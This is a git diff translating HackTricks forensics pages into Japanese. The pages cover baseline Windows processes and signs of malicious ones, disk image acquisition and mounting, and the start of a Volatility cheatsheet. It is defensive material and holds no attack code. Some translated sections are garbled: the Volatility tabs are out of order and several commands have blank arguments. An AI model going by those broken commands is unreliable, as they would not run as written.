☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
## smss.exe -**Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +**セッションマネージャ**。\ +セッション0では**csrss.exe**と**wininit.exe**(**OSサービス**)が開始されますが、セッション1では**csrss.exe**と**winlogon.exe**(**ユーザーセッション**)が開始されます。ただし、プロセスツリーには**そのバイナリのプロセスが1つだけ**表示されるはずです。 -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +また、セッション0と1以外のセッションは、RDPセッションが発生していることを意味する場合があります。 ## csrss.exe -**Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +**クライアント/サーバーランサブシステムプロセス**。\ +プロセスとスレッドを管理し、他のプロセスに**Windows API**を利用可能にし、**ドライブレターをマップ**し、**一時ファイルを作成**し、**シャットダウンプロセス**を処理します。 -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +セッション0とセッション1のそれぞれに1つずつ存在します(プロセスツリーには2つのプロセスがあります)。新しいセッションごとにもう1つ作成されます。 ## winlogon.exe -**Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +**Windowsログオンプロセス**。\ +ユーザーの**ログオン**/**ログオフ**に責任があります。ユーザー名とパスワードを求めるために**logonui.exe**を起動し、それから**lsass.exe**を呼び出して検証します。 -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +その後、**`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`**にある**Userinit**キーで指定された**userinit.exe**を起動します。 -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +さらに、前述のレジストリには**Shellキー**に**explorer.exe**があるはずであり、それは**マルウェアの持続性手法**として悪用される可能性があります。 ## wininit.exe -**Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +**Windows初期化プロセス**。\ +セッション0で**services.exe**、**lsass.exe**、**lsm.exe**を起動します。プロセスは1つだけであるはずです。 ## userinit.exe -**Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +**Userinitログオンアプリケーション**。\ +**ntduser.datをHKCUに**ロードし、**ユーザー**の**環境**を初期化し、**ログオンスクリプト**と**GPO**を実行します。 -It launches **explorer.exe**. +**explorer.exe**を起動します。 ## lsm.exe -**Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +**ローカルセッションマネージャ**。\ +smss.exeと協力してユーザーセッションを操作します:ログオン/ログオフ、シェルの開始、デスクトップのロック/ロック解除など。 -After W7 lsm.exe was transformed into a service (lsm.dll). +W7以降、lsm.exeはサービス(lsm.dll)に変換されました。 -There should only be 1 process in W7 and from them a service running the DLL. +W7では1つのプロセスのみが存在し、そのうちの1つがDLLを実行するサービスです。 ## services.exe -**Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +**サービス制御マネージャ**。\ +**自動起動**と**ドライバ**として構成された**サービス**を**ロード**します。 -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +**svchost.exe**、**dllhost.exe**、**taskhost.exe**、**spoolsv.exe**などの親プロセスです。 -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +サービスは`HKLM\SYSTEM\CurrentControlSet\Services`で定義され、このプロセスはサービス情報のメモリ内データベースを維持し、sc.exeによってクエリできます。 -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +**一部のサービス**は**独自のプロセス**で実行され、他のサービスは**svchost.exeプロセスを共有**します。 -There should only be 1 process. +プロセスは1つだけであるはずです。 ## lsass.exe -**Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +**ローカルセキュリティ機関サブシステム**。\ +ユーザーの**認証**を担当し、**セキュリティトークン**を作成します。認証パッケージは`HKLM\System\CurrentControlSet\Control\Lsa`にあります。 -It writes to the **Security** **event** **log** and there should only be 1 process. +**セキュリティイベントログ**に書き込みます。プロセスは1つだけであるはずです。 -Keep in mind that this process is highly attacked to dump passwords. +このプロセスはパスワードをダンプするために攻撃されやすいことに注意してください。 ## svchost.exe -**Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +**汎用サービスホストプロセス**。\ +複数のDLLサービスを1つの共有プロセスでホストします。 -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +通常、**svchost.exe**は`-k`フラグとともに起動されます。これにより、レジストリ**HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost**にクエリが送信され、-kで指定された引数を持つキーがあり、同じプロセスで起動するサービスが含まれています。 -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` - -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. - -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +例:`-k UnistackSvcGroup`は次のものを起動します:`PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +**フラグ`-s`**も引数とともに使用される場合、svchostにはこの引数で指定されたサービスのみを起動するように要求されます。 +`svchost.exe`の複数のプロセスが存在します。**`-k`フラグを使用していない**ものがあれば、それは非常に疑わしいです。**services.exeが親でない**場合も非常に疑わしいです。 ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +このプロセスは、DLLから実行されるプロセスのホストとして機能します。また、DLLから実行されるサービスを読み込みます。 -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +W8では、これはtaskhostex.exeと呼ばれ、W10ではtaskhostw.exeと呼ばれます。 ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +これは、**ユーザーのデスクトップ**とファイルの拡張子を介してのファイルの起動を担当するプロセスです。 -**Only 1** process should be spawned **per logged on user.** +**ログインしているユーザーごとに1つだけ**のプロセスが生成されるべきです。 -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +これは**userinit.exe**から実行され、このプロセスには**親プロセス**が表示されないように終了する必要があります。 -# Catching Malicious Processes +# 悪意のあるプロセスの検出 -* Is it running from the expected path? (No Windows binaries run from temp location) -* Is it communicating with weird IPs? -* Check digital signatures (Microsoft artifacts should be signed) -* Is it spelled correctly? -* Is running under the expected SID? -* Is the parent process the expected one (if any)? -* Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +* 期待されるパスから実行されていますか?(Windowsのバイナリは一時的な場所から実行されません) +* 奇妙なIPと通信していますか? +* デジタル署名をチェックします(Microsoftのアーティファクトは署名されているはずです) +* 正しくスペルされていますか? +* 期待されるSIDの下で実行されていますか? +* 親プロセスは期待されるものですか(ある場合)? +* 子プロセスは期待されるものですか(cmd.exe、wscript.exe、powershell.exeなどはありませんか?)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index 635087f97..2784baa17 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,46 +1,67 @@ -# Image Acquisition & Mount +# イメージの取得とマウント
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Acquisition +## 取得 ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd +dcfldd is an enhanced version of the dd command, specifically designed for forensic imaging tasks. It provides additional features and options that are useful for acquiring and copying disk images. + +dcfldd can be used to acquire disk images from both physical and logical devices. It supports various input and output formats, including raw, EWF (Expert Witness Format), and AFF (Advanced Forensic Format). + +To acquire an image using dcfldd, you need to specify the input and output devices or files. You can also set options such as block size, hash algorithm, and progress reporting. + +Here is the basic syntax for acquiring an image with dcfldd: + +``` +dcfldd if= of= [options] +``` + +Some commonly used options include: + +- `bs`: Specifies the block size for reading and writing data. +- `hash`: Specifies the hash algorithm to use for verifying the integrity of the image. +- `hashwindow`: Specifies the size of the hash window. +- `hashlog`: Specifies the file to store the hash values. +- `statusinterval`: Specifies the interval for displaying progress status. + +For example, to acquire an image from a physical device and calculate the MD5 hash, you can use the following command: + +``` +dcfldd if=/dev/sda of=image.dd hash=md5 +``` + +dcfldd is a powerful tool for acquiring disk images in a forensic investigation. It provides advanced features and options that can help ensure the integrity and accuracy of the acquired images. ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### FTKイメージャー -### FTK Imager - -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +[**ここからFTKイメージャーをダウンロードできます**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。 ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +[**ewfツール**](https://github.com/libyal/libewf)を使用してディスクイメージを生成することができます。 ```bash ewfacquire /dev/sdb #Name: evidence @@ -57,52 +78,63 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` +## マウント -## Mount +### いくつかのタイプ -### Several types - -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. +**Windows**では、無料版のArsenal Image Mounter([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/))を使用して、**フォレンジックイメージをマウント**することができます。 ### Raw - ```bash #Get file type -file evidence.img +file evidence.img evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b82b280cf299 (extents) (64bit) (large files) (huge files) #Mount it mount evidence.img /mnt ``` - ### EWF +EWF(EnCase Evidence File)は、ディスクイメージの作成と分析に使用されるフォレンジックファイルフォーマットです。EWFフォーマットは、ディスクのセクタ単位でデータを取得し、証拠の整合性を保つためにハッシュ値を使用します。 + +EWFファイルを作成するには、次の手順を実行します。 + +1. EWFファイルの作成に使用するディスクを特定します。 +2. EWFファイルの作成方法を選択します。例えば、物理ディスク、論理ディスク、またはファイルとして作成することができます。 +3. EWFファイルの作成時に使用するハッシュアルゴリズムを選択します。一般的なアルゴリズムには、MD5、SHA-1、SHA-256などがあります。 +4. EWFファイルの作成を開始します。 + +EWFファイルをマウントするには、次の手順を実行します。 + +1. EWFファイルをマウントするためのディレクトリを作成します。 +2. EWFファイルを指定してマウントコマンドを実行します。マウントコマンドは、使用しているオペレーティングシステムによって異なる場合があります。 +3. マウントが成功したら、指定したディレクトリにアクセスしてファイルを分析することができます。 + +EWFフォーマットは、ディスクイメージの作成と分析において広く使用されています。証拠の整合性を保ちながらデータを取得するため、フォレンジック調査において信頼性の高い手法とされています。 ```bash #Get file type -file evidence.E01 +file evidence.E01 evidence.E01: EWF/Expert Witness/EnCase image file format #Transform to raw mkdir output ewfmount evidence.E01 output/ -file output/ewf1 +file output/ewf1 output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be813be09b24 (needs journal recovery) (extents) (64bit) (large files) (huge files) #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +これは、ボリュームをマウントするためのWindowsアプリケーションです。[ここからダウンロードできます](https://arsenalrecon.com/downloads/) -### Errors - -* **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### エラー +* **`cannot mount /dev/loop0 read-only`** この場合、フラグ **`-o ro,norecovery`** を使用する必要があります。 +* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** この場合、マウントに失敗しました。ファイルシステムのオフセットがディスクイメージと異なるためです。セクターサイズと開始セクターを見つける必要があります。 ```bash -fdisk -l disk.img +fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes @@ -113,21 +145,18 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +セクターサイズは**512**で、開始位置は**2048**です。次のようにイメージをマウントします: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index 5699b2169..90667db75 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -1,14 +1,14 @@ -# Volatility - CheatSheet +# Volatility - チートシート
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
@@ -16,37 +16,97 @@
-​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。この大会は、技術的な知識を促進することを目的としており、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。 {% embed url="https://www.rootedcon.com/" %} -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +もし**高速でクレイジーな**ものが欲しい場合は、複数のVolatilityプラグインを並列で実行することができます: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## インストール ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` +#### メソッド1: プロファイルの選択 -### volatility2 +- `imageinfo`コマンドを使用して、メモリダンプのプロファイルを特定します。 -{% tabs %} -{% tab title="Method1" %} +```bash +volatility -f imageinfo +``` + +- プロファイルの選択肢が表示されます。適切なプロファイルを選択します。 + +```bash +volatility -f --profile= +``` + +- プロファイルを指定することで、Volatilityは正しいオフセットと構造を使用してメモリダンプを解析します。 + +{% endtab %} +{% tab title="Method2" %} + +#### メソッド2: プロセスのリスト + +- `pslist`コマンドを使用して、メモリダンプ内の実行中のプロセスのリストを取得します。 + +```bash +volatility -f --profile= pslist +``` + +- プロセスのリストには、プロセスID(PID)、親プロセスID(PPID)、プロセス名、および実行中のスレッド数が含まれます。 + +{% endtab %} +{% tab title="Method3" %} + +#### メソッド3: プロセスのメモリダンプ + +- `procdump`コマンドを使用して、特定のプロセスのメモリダンプを作成します。 + +```bash +volatility -f --profile= procdump -p -D +``` + +- ``には対象プロセスのPIDを指定し、``にはメモリダンプの保存先ディレクトリを指定します。 + +{% endtab %} +{% tab title="Method4" %} + +#### メソッド4: ファイルのリスト + +- `filescan`コマンドを使用して、メモリダンプ内のファイルのリストを取得します。 + +```bash +volatility -f --profile= filescan +``` + +- ファイルのリストには、ファイルのハンドル、ファイルパス、およびファイルサイズが含まれます。 + +{% endtab %} +{% tab title="Method5" %} + +#### メソッド5: ファイルの抽出 + +- `dumpfiles`コマンドを使用して、メモリダンプから特定のファイルを抽出します。 + +```bash +volatility -f --profile= dumpfiles -Q -D +``` + +- ``には抽出したいファイルのパスを指定し、``には抽出したファイルの保存先ディレクトリを指定します。 + +{% endtab %} +{% endtabs %} ``` Download the executable from https://www.volatilityfoundation.org/26 ``` -{% endtab %} - -{% tab title="Method 2" %} +{% tab title="方法2" %} ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility @@ -55,26 +115,25 @@ python setup.py install {% endtab %} {% endtabs %} -## Volatility Commands +## Volatilityコマンド -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +公式ドキュメントにアクセスするには、[Volatilityコマンドリファレンス](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)を参照してください。 -### A note on “list” vs. “scan” plugins +### 「list」対「scan」プラグインに関する注意事項 -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatilityには、プラグインに対して2つの主要なアプローチがあり、それはプラグインの名前に反映されることもあります。「list」プラグインは、Windowsカーネルの構造をナビゲートして、プロセス(メモリ内の`_EPROCESS`構造体のリンクリストを検索してウォークする)、OSハンドル(ハンドルテーブルを検索してリスト化し、見つかったポインタを参照解除するなど)などの情報を取得しようとします。これらは、たとえば、プロセスの一覧を表示するように要求された場合にWindows APIが振る舞うのとほぼ同じように振る舞います。 -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +これにより、「list」プラグインは非常に高速ですが、マルウェアによる操作に対してWindows APIと同じくらい脆弱です。たとえば、マルウェアがDKOMを使用してプロセスを`_EPROCESS`リンクリストから切り離す場合、それはタスクマネージャに表示されず、pslistにも表示されません。 -“scan” plugins, on the other hand, will take an approach similar 